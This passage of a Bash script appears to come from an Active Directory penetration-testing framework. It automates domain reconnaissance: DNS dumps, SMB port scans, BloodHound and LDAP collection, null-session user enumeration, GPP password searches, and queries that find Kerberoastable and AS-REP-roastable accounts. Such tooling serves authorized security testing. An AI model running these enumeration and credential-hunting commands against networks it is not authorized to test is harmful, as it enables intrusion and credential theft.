/bin/cat ${output_dir}/DomainRecon/Servers/dc_list_*_${dc_domain}.txt 2>/dev/null | sed -e 's/ //' -e 's/\$//' -e "s/$/.${dc_domain}/" -e 's/.*/\U&/' | sort -uf > ${dc_hostname_list} 2>&1
/bin/cat ${output_dir}/DomainRecon/Servers/ip_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${servers_ip_list} 2>&1
/bin/cat ${output_dir}/DomainRecon/Servers/dc_ip_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${dc_ip_list} 2>&1
if [[ ! $(grep ${dc_ip} ${servers_ip_list} 2>/dev/null) ]]; then echo ${dc_ip} >> ${servers_ip_list}; fi
if [[ ! $(grep ${dc_ip} ${dc_ip_list} 2>/dev/null) ]]; then echo ${dc_ip} >> ${dc_ip_list}; fi
if [[ ! $(grep ${dc_FQDN^^} ${dc_hostname_list} 2>/dev/null) ]]; then echo ${dc_FQDN,,} >> ${dc_hostname_list}; fi
if [[ ! $(grep ${dc_FQDN^^} ${servers_hostname_list} 2>/dev/null) ]]; then echo ${dc_FQDN,,} >> ${servers_hostname_list}; fi
}
parse_users () {
users_list="${output_dir}/DomainRecon/Users/users_list_${dc_domain}.txt"
/bin/cat ${output_dir}/DomainRecon/Users/users_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${users_list} 2>&1
if [[ ! "${user}" == "" ]] && [[ ! $(grep ${user} ${users_list} 2>/dev/null) ]]; then echo ${user} >> ${users_list}; fi
}
dns_enum () {
if [ ! -f "${adidnsdump}" ] ; then
echo -e "${RED}[-] Please verify the installation of adidnsdump${NC}"
echo -e ""
else
echo -e "${BLUE}[*] DNS dump using adidnsdump${NC}"
dns_records="${output_dir}/DomainRecon/dns_records_${dc_domain}.csv"
if [ ! -f "${dns_records}" ]; then
if [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ]; then
echo -e "${PURPLE}[-] adidnsdump does not support kerberos authentication${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="--ssl"; else ldaps_param=""; fi
run_command "${adidnsdump} ${argument_adidns} ${ldaps_param} --dns-tcp ${dc_ip}" | tee ${output_dir}/DomainRecon/adidnsdump_output_${dc_domain}.txt
mv records.csv ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "A," | grep -v "DnsZones\|@" | cut -d "," -f 2 | sort -u | grep "\S" | sed -e "s/$/.${dc_domain}/" > ${output_dir}/DomainRecon/Servers/servers_list_dns_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "A," | grep -v "DnsZones\|@" | cut -d "," -f 3 > ${output_dir}/DomainRecon/Servers/ip_list_dns_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "@" | grep "NS," | cut -d "," -f 3 | sed 's/\.$//' > ${output_dir}/DomainRecon/Servers/dc_list_dns_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "@" | grep "A," | cut -d "," -f 3 > ${output_dir}/DomainRecon/Servers/dc_ip_list_dns_${dc_domain}.txt
fi
parse_servers
else
echo -e "${YELLOW}[i] DNS dump found ${NC}"
fi
fi
echo -e ""
}
smb_scan () {
if [ ! -f "${nmap}" ]; then
echo -e "${RED}[-] Please verify the installation of nmap ${NC}"
else
if [ "${curr_targets}" == "Domain Controllers" ] ; then
servers_smb_list=${target_dc}
elif [ "${curr_targets}" == "All domain servers" ] ; then
servers_scan_list=${target_servers}
echo -e "${YELLOW}[i] Scanning all domain servers ${NC}"
servers_smb_list="${output_dir}/Scans/servers_all_smb_${dc_domain}.txt"
if [ ! -f "${servers_smb_list}" ]; then
run_command "${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" ${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt 2>/dev/null | cut -d " " -f 2 > ${servers_smb_list}
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
elif [ "${curr_targets}" == "File containing list of servers" ] ; then
servers_scan_list=${custom_servers_list}
echo -e "${YELLOW}[i] Scanning servers in ${custom_servers} ${NC}"
servers_smb_list="${output_dir}/Scans/servers_custom_smb_${dc_domain}.txt"
if [ "${custom_target_scanned}" == false ]; then
run_command "${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt 2>/dev/null | cut -d " " -f 2 > ${servers_smb_list}
custom_target_scanned=true
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
elif [ "${curr_targets}" == "IP or hostname" ] ; then
servers_scan_list=$(head -n1 ${custom_servers_list})
echo -e "${YELLOW}[i] Scanning server ${custom_ip}${NC}"
servers_smb_list="${output_dir}/Scans/servers_custom_smb_${dc_domain}.txt"
if [ "${custom_target_scanned}" == false ]; then
run_command "${nmap} -p 445 -Pn -sT -n ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt 2>/dev/null | cut -d " " -f 2 > ${servers_smb_list}
custom_target_scanned=true
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
fi
fi
}
###### ad_enum: AD Enumeration
bhd_enum () {
if [ ! -f "${bloodhound}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
else
mkdir -p ${output_dir}/DomainRecon/BloodHound
echo -e "${BLUE}[*] BloodHound Enumeration using all collection methods (Noisy!)${NC}"
if [ -n "$(ls -A ${output_dir}/DomainRecon/BloodHound/ 2>/dev/null | grep -v 'bloodhound_output')" ] ; then
echo -e "${YELLOW}[i] BloodHound results found, skipping... ${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
current_dir=$(pwd)
cd ${output_dir}/DomainRecon/BloodHound
run_command "${bloodhound} -d ${dc_domain} ${argument_bhd} -c all,LoggedOn -ns ${dc_ip} --dns-timeout 5 --dns-tcp" | tee ${output_dir}/DomainRecon/BloodHound/bloodhound_output_${dc_domain}.txt
cd ${current_dir}
#${netexec} ${ne_verbose} ldap ${ne_kerb} ${target} "${argument_ne}" --bloodhound -ns ${dc_ip} -c All --log ${output_dir}/DomainRecon/BloodHound/ne_bloodhound_output_${dc_domain}.txt 2>&1
/usr/bin/jq -r ".data[].Properties.samaccountname| select( . != null )" ${output_dir}/DomainRecon/BloodHound/*_users.json 2>/dev/null > ${output_dir}/DomainRecon/Users/users_list_bhd_${dc_domain}.txt
/usr/bin/jq -r ".data[].Properties.name| select( . != null )" ${output_dir}/DomainRecon/BloodHound/*_computers.json 2>/dev/null > ${output_dir}/DomainRecon/Servers/servers_list_bhd_${dc_domain}.txt
/usr/bin/jq -r '.data[].Properties | select(.serviceprincipalnames | . != null) | select (.serviceprincipalnames[] | contains("MSSQL")).serviceprincipalnames[]' ${output_dir}/DomainRecon/BloodHound/*_users.json 2>/dev/null | cut -d "/" -f 2 | cut -d ":" -f 1 | sort -u > ${output_dir}/DomainRecon/Servers/sql_list_bhd_${dc_domain}.txt
parse_users
parse_servers
fi
fi
fi
echo -e ""
}
bhd_enum_dconly () {
if [ ! -f "${bloodhound}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
else
mkdir -p ${output_dir}/DomainRecon/BloodHound
echo -e "${BLUE}[*] BloodHound Enumeration using DCOnly${NC}"
if [ -n "$(ls -A ${output_dir}/DomainRecon/BloodHound/ 2>/dev/null | grep -v 'bloodhound_output')" ] ; then
echo -e "${YELLOW}[i] BloodHound results found, skipping... ${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
current_dir=$(pwd)
cd ${output_dir}/DomainRecon/BloodHound
run_command "${bloodhound} -d ${dc_domain} ${argument_bhd} -c DCOnly -ns ${dc_ip} --dns-timeout 5 --dns-tcp" | tee ${output_dir}/DomainRecon/BloodHound/bloodhound_output_dconly_${dc_domain}.txt
cd ${current_dir}
#${netexec} ${ne_verbose} ldap ${target} "${argument_ne}" --bloodhound -ns ${dc_ip} -c DCOnly --log tee ${output_dir}/DomainRecon/BloodHound/ne_bloodhound_output_${dc_domain}.txt 2>&1
/usr/bin/jq -r ".data[].Properties.samaccountname| select( . != null )" ${output_dir}/DomainRecon/BloodHound/*_users.json 2>/dev/null > ${output_dir}/DomainRecon/Users/users_list_bhd_${dc_domain}.txt
/usr/bin/jq -r ".data[].Properties.name| select( . != null )" ${output_dir}/DomainRecon/BloodHound/*_computers.json 2>/dev/null > ${output_dir}/DomainRecon/Servers/servers_list_bhd_${dc_domain}.txt
parse_users
parse_servers
fi
fi
fi
echo -e ""
}
ldapdomaindump_enum () {
if [ ! -f "${ldapdomaindump}" ] ; then
echo -e "${RED}[-] Please verify the installation of ldapdomaindump${NC}"
else
mkdir -p ${output_dir}/DomainRecon/LDAPDomainDump
echo -e "${BLUE}[*] ldapdomaindump Enumeration${NC}"
if [ -n "$(ls -A ${output_dir}/DomainRecon/LDAPDomainDump/ 2>/dev/null | grep -v 'ldd_output')" ] ; then
echo -e "${YELLOW}[i] ldapdomaindump results found, skipping... ${NC}"
else
if [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ] ; then
echo -e "${PURPLE}[-] ldapdomaindump does not support kerberos authentication ${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="ldaps"; else ldaps_param="ldap"; fi
run_command "${ldapdomaindump} ${argument_ldd} ${ldaps_param}://${dc_ip} -o ${output_dir}/DomainRecon/LDAPDomainDump" | tee "${output_dir}/DomainRecon/LDAPDomainDump/ldd_output_${dc_domain}.txt"
fi
/usr/bin/jq -r ".[].attributes.sAMAccountName[]" ${output_dir}/DomainRecon/LDAPDomainDump/domain_users.json 2>/dev/null > ${output_dir}/DomainRecon/Users/users_list_ldd_${dc_domain}.txt
/usr/bin/jq -r ".[].attributes.dNSHostName[]" ${output_dir}/DomainRecon/LDAPDomainDump/domain_computers.json 2>/dev/null > ${output_dir}/DomainRecon/Servers/servers_list_ldd_${dc_domain}.txt
parse_users
parse_servers
fi
fi
echo -e ""
}
enum4linux_enum () {
if [ ! -f "${enum4linux_py}" ] ; then
echo -e "${RED}[-] Please verify the installation of enum4linux-ng${NC}"
else
echo -e "${BLUE}[*] enum4linux Enumeration${NC}"
if [ "${aeskey_bool}" == true ] ; then
echo -e "${PURPLE}[-] enum4linux does not support kerberos authentication using AES Key${NC}"
else
run_command "${enum4linux_py} -A ${argument_enum4linux} ${target}" -oJ ${output_dir}/DomainRecon/enum4linux_${dc_domain} > ${output_dir}/DomainRecon/enum4linux_${dc_domain}.txt
head -n 20 ${output_dir}/DomainRecon/enum4linux_${dc_domain}.txt 2>&1
echo -e "............................(truncated output)"
/usr/bin/jq -r ".users[].username" ${output_dir}/DomainRecon/enum4linux_${dc_domain}.json 2>/dev/null > ${output_dir}/DomainRecon/Users/users_list_enum4linux_${dc_domain}.txt
if [ "${nullsess_bool}" == true ] ; then
echo -e "${CYAN}[*] Guest with empty password (null session)${NC}"
run_command "${enum4linux_py} -A ${target} -u 'Guest' -p ''" -oJ ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain} > ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain}.txt
head -n 20 ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain}.txt 2>&1
echo -e "............................(truncated output)"
/usr/bin/jq -r ".users[].username" ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain}.json 2>/dev/null > ${output_dir}/DomainRecon/Users/users_list_enum4linux_guest_${dc_domain}.txt
fi
fi
parse_users
fi
echo -e ""
}
ne_gpp () {
echo -e "${BLUE}[*] GPP Enumeration${NC}"
run_command "${netexec} ${ne_verbose} smb ${target_dc} ${argument_ne} -M gpp_autologin -M gpp_password --log ${output_dir}/DomainRecon/ne_gpp_output_${dc_domain}.txt" 2>&1
echo -e ""
}
ne_smb_enum () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${BLUE}[*] Users Enumeration (RPC Null session)${NC}"
run_command "${netexec} ${ne_verbose} smb ${target} ${argument_ne} --users --log ${output_dir}/DomainRecon/ne_users_nullsess_smb_${dc_domain}.txt" 2>&1
run_command "${netexec} ${ne_verbose} smb ${target} -u Guest -p '' --users --log ${output_dir}/DomainRecon/ne_users_nullsess_smb_${dc_domain}.txt" 2>&1
run_command "${netexec} ${ne_verbose} smb ${target} -u ${rand_user} -p '' --users --log ${output_dir}/DomainRecon/ne_users_nullsess_smb_${dc_domain}.txt" 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_users_nullsess_smb_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep SMB | sed 's/[ ][ ]*/ /g' | cut -d " " -f 10 | cut -d "\\" -f 2 > ${output_dir}/DomainRecon/Users/users_list_ne_smb_nullsess_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/Users/users_list_ne_smb_nullsess_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using RPC User Enum${NC}"
else
echo -e "${BLUE}[*] Users / Computers Enumeration (RPC authenticated)${NC}"
run_command "${netexec} ${ne_verbose} smb ${target} ${argument_ne} --users --log ${output_dir}/DomainRecon/ne_users_auth_smb_${dc_domain}.txt" 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_users_auth_smb_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep SMB | sed 's/[ ][ ]*/ /g' | cut -d " " -f 10 | cut -d "\\" -f 2 > ${output_dir}/DomainRecon/Users/users_list_ne_smb_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/Users/users_list_ne_smb_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using RPC User Enum${NC}"
run_command "${netexec} ${ne_verbose} smb ${target} ${argument_ne} --computers" > ${output_dir}/DomainRecon/ne_computers_auth_smb_${dc_domain}.txt
fi
parse_users
echo -e ""
echo -e "${BLUE}[*] Password Policy Enumeration${NC}"
run_command "${netexec} ${ne_verbose} smb ${target} ${argument_ne} --pass-pol --log ${output_dir}/DomainRecon/ne_passpol_output_${dc_domain}.txt" 2>&1
echo -e ""
}
ne_ldap_enum () {
if [ "${ldaps_bool}" == true ]; then ldaps_param="--port 636"; else ldaps_param=""; fi
if [ "${nullsess_bool}" == true ] ; then
echo -e "${BLUE}[*] Users Enumeration (LDAP Null session)${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} --users --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_users_nullsess_ldap_${dc_domain}.txt" 2>&1
run_command "${netexec} ${ne_verbose} ldap ${target} -u Guest -p '' ${ldaps_param} --users --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_users_nullsess_ldap_${dc_domain}.txt" 2>&1
run_command "${netexec} ${ne_verbose} ldap ${target} -u ${rand_user} -p '' ${ldaps_param} --users --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_users_nullsess_ldap_${dc_domain}.txt" 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_users_nullsess_ldap_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep LDAP | sed 's/[ ][ ]*/ /g' | cut -d " " -f 10 > ${output_dir}/DomainRecon/Users/users_list_ne_ldap_nullsess_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/Users/users_list_ne_ldap_nullsess_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using LDAP User Enum${NC}"
else
echo -e "${BLUE}[*] Users Enumeration (LDAP authenticated)${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} --users --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_users_auth_ldap_${dc_domain}.txt" 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_users_auth_ldap_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep LDAP | sed 's/[ ][ ]*/ /g' | cut -d " " -f 10 > ${output_dir}/DomainRecon/Users/users_list_ne_ldap_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/Users/users_list_ne_ldap_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using LDAP User Enum${NC}"
fi
parse_users
echo -e ""
echo -e "${BLUE}[*] DC List Enumeration${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} --dc-list --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_dclist_output_${dc_domain}.txt" 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_dclist_output_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep LDAP | sed 's/[ ][ ]*/ /g' | cut -d " " -f 10 > ${output_dir}/DomainRecon/Servers/dc_list_ne_ldap_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/ne_dclist_output_${dc_domain}.txt 2>/dev/null | grep -v "\[-\|\[+\|\[\*" | grep LDAP | sed 's/[ ][ ]*/ /g' | cut -d " " -f 12 > ${output_dir}/DomainRecon/Servers/dc_ip_list_ne_ldap_${dc_domain}.txt 2>&1
parse_servers
echo -e ""
echo -e ""
echo -e "${BLUE}[*] Password not required Enumeration${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} --password-not-required --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_passnotrequired_output_${dc_domain}.txt" 2>&1
echo -e ""
echo -e "${BLUE}[*] Users Description containing word: pass${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} -M get-desc-users --kdcHost ${dc_FQDN}" 2>&1 > ${output_dir}/DomainRecon/ne_get-desc-users_pass_output_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/ne_get-desc-users_pass_output_${dc_domain}.txt 2>/dev/null | grep -i "pass\|pwd" | tee ${output_dir}/DomainRecon/ne_get-desc-users_pass_results_${dc_domain}.txt 2>&1
if [ ! -s ${output_dir}/DomainRecon/ne_get-desc-users_pass_results_${dc_domain}.txt ]; then
echo -e "${PURPLE}[-] No users with passwords in description found${NC}"
fi
echo -e ""
echo -e "${BLUE}[*] Get MachineAccountQuota${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} -M maq --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_MachineAccountQuota_output_${dc_domain}.txt" 2>&1
echo -e ""
echo -e "${BLUE}[*] Subnets Enumeration${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} ${ldaps_param} -M subnets --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_subnets_output_${dc_domain}.txt" 2>&1
echo -e ""
echo -e "${BLUE}[*] LDAP-signing check${NC}"
run_command "${netexec} ${ne_verbose} ldap ${target_dc} ${argument_ne} ${ldaps_param} -M ldap-checker --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_ldap-checker_output_${dc_domain}.txt" 2>&1
echo -e ""
}
deleg_enum () {
if [ ! -f "${impacket_findDelegation}" ] ; then
echo -e "${RED}[-] findDelegation.py not found! Please verify the installation of impacket${NC}"
else
echo -e "${BLUE}[*] Impacket findDelegation Enumeration${NC}"
run_command "${impacket_findDelegation} ${argument_imp} -dc-ip ${dc_ip} -target-domain ${dc_domain} -dc-host ${dc_NETBIOS}" | tee ${output_dir}/DomainRecon/impacket_findDelegation_output_${dc_domain}.txt
if [[ $(grep 'error' ${output_dir}/DomainRecon/impacket_findDelegation_output_${dc_domain}.txt 2>/dev/null) ]]; then
echo -e "${RED}[-] Errors during Delegation enum... ${NC}"
fi
fi
echo -e "${BLUE}[*] Trusted-for-delegation check (netexec)${NC}"
if [ "${ldaps_bool}" == true ]; then ldaps_param="--port 636"; else ldaps_param=""; fi
run_command "${netexec} ${ne_verbose} ldap ${target_dc} ${argument_ne} ${ldaps_param} --trusted-for-delegation --kdcHost ${dc_FQDN} --log ${output_dir}/DomainRecon/ne_trusted-for-delegation_output_${dc_domain}.txt" 2>&1
echo -e ""
}
fqdn_to_ldap_dn() {
sed -e 's/[^ ]*/DC=&/g' <<<"${1//./ }" -e 's/ /,/g'
}
bloodyad_all_enum () {
if [ ! -f "${bloodyad}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodyad{NC}"
else
mkdir -p ${output_dir}/DomainRecon/bloodyAD
echo -e "${BLUE}[*] bloodyad All Enumeration${NC}"
if [ "${aeskey_bool}" == true ] || [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] bloodyad requires credentials and does not support kerberos authentication using AES Key${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="-s"; else ldaps_param=""; fi
domain_DN=$(fqdn_to_ldap_dn ${dc_domain})
echo -e "${CYAN}[*] Searching for attribute msDS-Behavior-Version${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get object ${domain_DN} --attr msDS-Behavior-Version" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_forestlevel_${dc_domain}.txt
echo -e "${CYAN}[*] Searching for attribute ms-DS-MachineAccountQuota${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get object ${domain_DN} --attr ms-DS-MachineAccountQuota" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_maq_${dc_domain}.txt
echo -e "${CYAN}[*] Searching for attribute minPwdLength${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get object ${domain_DN} --attr minPwdLength" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_minpasslen_${dc_domain}.txt
echo -e "${CYAN}[*] Searching for users${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get children --otype useronly" > ${output_dir}/DomainRecon/bloodyAD/bloodyad_allusers_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/bloodyAD/bloodyad_allusers_${dc_domain}.txt 2>/dev/null | cut -d "," -f 1 | cut -d "=" -f 2 | sort -u > ${output_dir}/DomainRecon/Users/users_list_bla_${dc_domain}.txt 2>/dev/null
parse_users
echo -e "${CYAN}[*] Searching for computers${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get children --otype computer" > ${output_dir}/DomainRecon/bloodyAD/bloodyad_allcomp_${dc_domain}.txt
/bin/cat ${output_dir}/DomainRecon/bloodyAD/bloodyad_allcomp_${dc_domain}.txt 2>/dev/null | cut -d "," -f 1 | cut -d "=" -f 2 | sort -u | grep "\S" | sed -e "s/$/.${dc_domain}/" > ${output_dir}/DomainRecon/Servers/servers_list_bla_${dc_domain}.txt 2>/dev/null
parse_servers
echo -e "${CYAN}[*] Searching for containers${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get children --otype container" > ${output_dir}/DomainRecon/bloodyAD/bloodyad_allcontainers_${dc_domain}.txt
echo -e "${CYAN}[*] Searching for Kerberoastable${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get search --filter (&(samAccountType=805306368)(servicePrincipalName=*)) --attr sAMAccountName" | grep sAMAccountName | cut -d ' ' -f 2 | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_kerberoast_${dc_domain}.txt
echo -e "${CYAN}[*] Searching for ASREPRoastable${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get search --filter (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) --attr sAMAccountName" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_asreproast_${dc_domain}.txt
fi
fi
echo -e ""
}
bloodyad_write_enum () {
if [ ! -f "${bloodyad}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodyad{NC}"
else
mkdir -p ${output_dir}/DomainRecon/bloodyAD
if [ "${aeskey_bool}" == true ] || [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] bloodyad requires credentials and does not support kerberos authentication using AES Key${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="-s"; else ldaps_param=""; fi
echo -e "${BLUE}[*] bloodyad search for writable objects${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get writable" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_writable_${dc_domain}.txt
fi
fi
echo -e ""
}
bloodyad_dnsquery () {
if [ ! -f "${bloodyad}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodyad{NC}"
else
mkdir -p ${output_dir}/DomainRecon/bloodyAD
if [ "${aeskey_bool}" == true ] || [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] bloodyad requires credentials and does not support kerberos authentication using AES Key${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="-s"; else ldaps_param=""; fi
echo -e "${BLUE}[*] bloodyad dump DNS entries${NC}"
run_command "${bloodyad} ${argument_bloodyad} ${ldaps_param} --host ${dc_ip} get dnsDump" | tee ${output_dir}/DomainRecon/bloodyAD/bloodyad_dns_${dc_domain}.txt
echo -e "${YELLOW}If ADIDNS does not contain a wildcard entry, check for ADIDNS spoofing${NC}"
/bin/cat ${output_dir}/DomainRecon/bloodyAD/bloodyad_dns_${dc_domain}.txt 2>/dev/null | sed -n '/[^\n]*\*/,/^$/p'
fi
fi
echo -e ""
}
silenthound_enum () {
if [ ! -f "${silenthound}" ]; then
echo -e "${RED}[-] Please verify the location of silenthound${NC}"
else
mkdir -p ${output_dir}/DomainRecon/SilentHound
echo -e "${BLUE}[*] SilentHound Enumeration${NC}"
if [ -n "$(ls -A ${output_dir}/DomainRecon/SilentHound/ 2>/dev/null | grep -v 'silenthound_output')" ] ; then
echo -e "${YELLOW}[i] SilentHound results found, skipping... ${NC}"
else
if [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ] ; then
echo -e "${PURPLE}[-] SilentHound does not support kerberos authentication${NC}"
else